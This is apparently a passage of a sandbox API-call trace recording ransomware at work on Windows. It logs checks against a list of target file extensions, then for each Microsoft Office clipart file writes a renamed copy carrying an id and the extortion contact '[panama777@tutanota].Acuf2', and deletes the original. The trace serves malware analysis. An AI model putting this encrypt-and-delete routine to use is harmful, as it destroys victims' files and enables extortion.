	[0263.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63
	[0263.697] lstrlenW (lpString=".dbf") returned 4
	[0263.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63
	[0263.697] lstrlenW (lpString=".1cd") returned 4
	[0263.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63
	[0263.697] lstrlenW (lpString=".jpg") returned 4
	[0263.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.700] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2332) returned 1
	[0263.700] CloseHandle (hObject=0x340) returned 1
	[0263.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20
	[0263.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.700] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.700] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.701] GetLastError () returned 0x0
	[0263.701] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x91c, lpOverlapped=0x0) returned 1
	[0263.728] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x920, lpOverlapped=0x0) returned 1
	[0263.729] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.729] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.729] SetEndOfFile (hFile=0x35c) returned 1
	[0263.729] CloseHandle (hObject=0x35c) returned 1
	[0263.729] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.729] SetEndOfFile (hFile=0x340) returned 1
	[0263.731] CloseHandle (hObject=0x340) returned 1
	[0263.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1
	[0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63
	[0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63
	[0263.732] lstrlenW (lpString=".doc") returned 4
	[0263.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.732] lstrlenW (lpString=".docx") returned 5
	[0263.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.732] lstrlenW (lpString=".pdf") returned 4
	[0263.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.732] lstrlenW (lpString=".xls") returned 4
	[0263.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.732] lstrlenW (lpString=".xlsx") returned 5
	[0263.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.732] lstrlenW (lpString=".ppt") returned 4
	[0263.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63
	[0263.732] lstrlenW (lpString=".zip") returned 4
	[0263.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.732] lstrlenW (lpString=".rar") returned 4
	[0263.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.732] lstrlenW (lpString=".bz2") returned 4
	[0263.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.732] lstrlenW (lpString=".7z") returned 3
	[0263.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63
	[0263.732] lstrlenW (lpString=".dbf") returned 4
	[0263.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63
	[0263.732] lstrlenW (lpString=".1cd") returned 4
	[0263.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63
	[0263.733] lstrlenW (lpString=".jpg") returned 4
	[0263.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.733] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=30414) returned 1
	[0263.733] CloseHandle (hObject=0x340) returned 1
	[0263.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20
	[0263.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.734] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.734] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.734] GetLastError () returned 0x0
	[0263.734] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x76ce, lpOverlapped=0x0) returned 1
	[0263.744] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x76d0, lpOverlapped=0x0) returned 1
	[0263.745] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.745] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.745] SetEndOfFile (hFile=0x35c) returned 1
	[0263.745] CloseHandle (hObject=0x35c) returned 1
	[0263.745] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.745] SetEndOfFile (hFile=0x340) returned 1
	[0263.748] CloseHandle (hObject=0x340) returned 1
	[0263.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1
	[0263.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63
	[0263.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63
	[0263.748] lstrlenW (lpString=".doc") returned 4
	[0263.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.748] lstrlenW (lpString=".docx") returned 5
	[0263.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.748] lstrlenW (lpString=".pdf") returned 4
	[0263.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.748] lstrlenW (lpString=".xls") returned 4
	[0263.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.748] lstrlenW (lpString=".xlsx") returned 5
	[0263.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.748] lstrlenW (lpString=".ppt") returned 4
	[0263.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63
	[0263.748] lstrlenW (lpString=".zip") returned 4
	[0263.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.748] lstrlenW (lpString=".rar") returned 4
	[0263.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.749] lstrlenW (lpString=".bz2") returned 4
	[0263.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.749] lstrlenW (lpString=".7z") returned 3
	[0263.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63
	[0263.749] lstrlenW (lpString=".dbf") returned 4
	[0263.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63
	[0263.749] lstrlenW (lpString=".1cd") returned 4
	[0263.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63
	[0263.749] lstrlenW (lpString=".jpg") returned 4
	[0263.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.965] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=31180) returned 1
	[0263.965] CloseHandle (hObject=0x358) returned 1
	[0263.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20
	[0263.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0263.991] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.991] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.991] GetLastError () returned 0x0
	[0263.991] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x79cc, lpOverlapped=0x0) returned 1
	[0263.995] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x79d0, lpOverlapped=0x0) returned 1
	[0263.996] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.996] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.996] SetEndOfFile (hFile=0x33c) returned 1
	[0263.996] CloseHandle (hObject=0x33c) returned 1
	[0263.996] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.996] SetEndOfFile (hFile=0x360) returned 1
	[0263.999] CloseHandle (hObject=0x360) returned 1
	[0263.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1
	[0263.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63
	[0263.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63
	[0264.000] lstrlenW (lpString=".doc") returned 4
	[0264.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString=".docx") returned 5
	[0264.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.000] lstrlenW (lpString=".pdf") returned 4
	[0264.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString=".xls") returned 4
	[0264.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.000] lstrlenW (lpString=".xlsx") returned 5
	[0264.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.000] lstrlenW (lpString=".ppt") returned 4
	[0264.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63
	[0264.000] lstrlenW (lpString=".zip") returned 4
	[0264.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.000] lstrlenW (lpString=".rar") returned 4
	[0264.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString=".bz2") returned 4
	[0264.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString=".7z") returned 3
	[0264.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63
	[0264.000] lstrlenW (lpString=".dbf") returned 4
	[0264.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63
	[0264.000] lstrlenW (lpString=".1cd") returned 4
	[0264.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63
	[0264.000] lstrlenW (lpString=".jpg") returned 4
	[0264.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.001] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2636) returned 1
	[0264.001] CloseHandle (hObject=0x360) returned 1
	[0264.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20
	[0264.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0264.001] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.001] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0264.002] GetLastError () returned 0x0
	[0264.002] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xa4c, lpOverlapped=0x0) returned 1
	[0264.007] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xa50, lpOverlapped=0x0) returned 1
	[0264.008] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.008] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.008] SetEndOfFile (hFile=0x33c) returned 1
	[0264.008] CloseHandle (hObject=0x33c) returned 1
	[0264.008] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.008] SetEndOfFile (hFile=0x360) returned 1
	[0264.010] CloseHandle (hObject=0x360) returned 1
	[0264.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1
	[0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63
	[0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63
	[0264.010] lstrlenW (lpString=".doc") returned 4
	[0264.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString=".docx") returned 5
	[0264.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.011] lstrlenW (lpString=".pdf") returned 4
	[0264.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString=".xls") returned 4
	[0264.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.011] lstrlenW (lpString=".xlsx") returned 5
	[0264.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.011] lstrlenW (lpString=".ppt") returned 4
	[0264.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63
	[0264.011] lstrlenW (lpString=".zip") returned 4
	[0264.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.011] lstrlenW (lpString=".rar") returned 4
	[0264.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString=".bz2") returned 4
	[0264.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString=".7z") returned 3
	[0264.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63
	[0264.011] lstrlenW (lpString=".dbf") returned 4
	[0264.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63
	[0264.011] lstrlenW (lpString=".1cd") returned 4
	[0264.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63
	[0264.011] lstrlenW (lpString=".jpg") returned 4
	[0264.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.012] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=5392) returned 1
	[0264.012] CloseHandle (hObject=0x360) returned 1
	[0264.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20
	[0264.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0264.012] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.012] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
